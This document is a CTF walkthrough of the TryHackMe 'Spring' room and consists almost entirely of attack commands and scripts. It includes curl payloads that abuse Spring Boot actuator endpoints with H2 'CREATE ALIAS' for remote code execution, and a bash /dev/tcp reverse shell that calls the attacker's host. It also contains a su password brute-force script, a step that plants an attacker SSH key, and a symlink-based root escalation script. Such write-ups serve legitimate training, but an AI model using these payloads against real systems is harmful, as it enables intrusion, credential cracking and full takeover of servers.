Spring

Room Link: https://tryhackme.com/room/spring

Initial Scan

Kali

nmap -A $VICTIM

Scan all ports

Kali

nmap -sV -sT -O -p 1-65535 $VICTIM

TCP/443 - HTTPS

Kali

gobuster dir -u https://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k

Kali

subl /etc/hosts

Kali

gobuster dir -u https://spring.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k

Kali

gobuster dir -u https://spring.thm/sources -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k

Changed the wordlist

Kali

gobuster dir -u https://spring.thm/sources/new -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt -x php,html,txt -k

GitDumper

Kali

pip install git-dumper
mkdir git
git-dumper https://spring.thm/sources/new/.git/ git/
cd git
git log


grep -r pass *

Kali

git diff 92b433a86a015517f746a3437ba3802be9146722 1a83ec34bf5ab3a89096346c46f6fda2d26da7e6

Initial Shell

Exploit: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/

Kali #1

tcpdump -i ens5 icmp

Kali #2

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'ping -c 5 $KALI\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k

reverse.sh

bash -c "bash -i >& /dev/tcp/$KALI/1337 0>&1"

Kali #1

python3 -m http.server 81

Kali #2

nc -lvnp 1337

Download payload

Kali #3

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://$KALI:81/reverse.sh -O /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k

Run payload

Kali #3

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k

Get autocomplete

python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg

We found one password within environment variables

Victim

env

Bruteforce su

At this point we have two passwords that are very similar, neither of them are the password for johnsmith to login, the format is PrettyS3cure${keyword}Password123.

PrettyS3cureKeystorePassword123.
PrettyS3cureSpringPassword123.

su_brute_force.sh

#!/bin/bash

set -m #enable job control
export TOP_PID=$$ #get the current PID
trap "trap - SIGTERM && kill -- -$$" INT SIGINT SIGTERM EXIT #exit on trap

# https://github.com/fearside/ProgressBar/blob/master/progressbar.sh
# something to look at while waiting
function progressbar {
        let _progress=(${1}*100/${2}*100)/100
        let _done=(${_progress}*4)/10
        let _left=40-$_done

        _done=$(printf "%${_done}s")
        _left=$(printf "%${_left}s")

        printf "\rCracking : [${_done// /#}${_left// /-}] ${_progress}%%"
}

function brute() {
        keyword=$1 #get the word
        password="PrettyS3cure${keyword}Password123." #add it to our format
        output=$( ( sleep 0.2s && echo $password ) | script -qc 'su johnsmith -c "id"' /dev/null) # check the password
        if [[ $output != *"Authentication failure"* ]]; then #if password was correct
                printf "\rCreds Found! johnsmith:$password\n$output\nbye..." #print the password
                kill -9 -$(ps -o pgid= $TOP_PID  | grep -o '[0-9]*') #kill parent and other jobs
        fi
}

wordlist=$1 #get wordlist as parameter

count=$(wc -l $wordlist| grep -o '[0-9]*') #count how many words we have
current=1

while IFS= read -r line #for each line
do
        brute $line & #try the password
        progressbar ${current} ${count} #update progress bar. TODO:calculate ETA
        current=$(( current + 1 )) #increment
done < $wordlist #read the wordlist

wait #wait for active jobs

Kali

cat /usr/share/wordlists/rockyou.txt | grep -E ^[A-Z][a-z]+$ > capitalized_words.txt

Victim

wget http://$KALI:81/capitalized_words.txt -O /tmp/capitalized_words.txt
wget http://$KALI:81/su_brute_force.sh -O /tmp/su_brute_force.sh
chmod +x su_brute_force.sh
time bash su_brute_force.sh capitalized_words.txt

Victim

su johnsmith
Password: PrettyS3cureAccountPassword123.

Kali

ssh-keygen -t rsa
cat /root/.ssh/id_rsa.pub

Victim

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2vjG2ZoKfoNoEF1ASSVX+M2hwD5g0PmUajFDBoDGrjM63T38/cadEHbJXgH8YS6syNLsf+mnSVeF9yWIeMLjfaeoIWE9UPCmS5OuPC2ZiAf+zTvo7X+OjnQKmHmNsQYJ8lhg24g3Gpw5rWreteGTMfmFPRBDNEX6J3JsNCdhoTjAhyRRRouUM9oMw1Yl4YcRAcK8xPU8ZuE6lk3kqzrrPhaCOafTdHvBKS+Q0Bn/Cq7V0ltBWkaSHIWRc50dMfwFHPR5DlYpuN6cOyIeF2L1LTcyPNmeeD/Na1d1RlRLL3HKNSW02T1z3hUAZTdmgEUvwz726qloHUmd8Hxo0Kq0j root@ip-10-10-228-158" > /home/johnsmith/.ssh/authorized_keys

Kali

su johnsmith@$VICTIM

Privilege Escalation

Victim

vi /home/johnsmith/tomcatlogs/getroot.sh

getroot.sh

#!/bin/bash

#generate ssh key if it does not exists
[ -f ./key ] && true || ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
#read public key
pubkey=$(cat ./key.pub)

#send a shutdown request to the spring boot server
curl -X POST https://localhost/actuator/shutdown -H 'x-9ad42dea0356cb04: 172.16.0.21' -k

#get date as epoch format
d=$(date '+%s')

#let's assume 30 seconds is enough to restart the service
for i in {1..30}
do
 #create symlinks to /root/.ssh/authorized_keys for 30 seconds
 let time=$(( d + i ))
 ln -s /root/.ssh/authorized_keys "$time.log"
done

#wait for app to restart
sleep 30s

#send publickey as name to the greating server
curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s

#connect as root
ssh  -o "StrictHostKeyChecking=no" -i ./key root@localhost

Victim

bash getroot.sh

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Last updated 1 year ago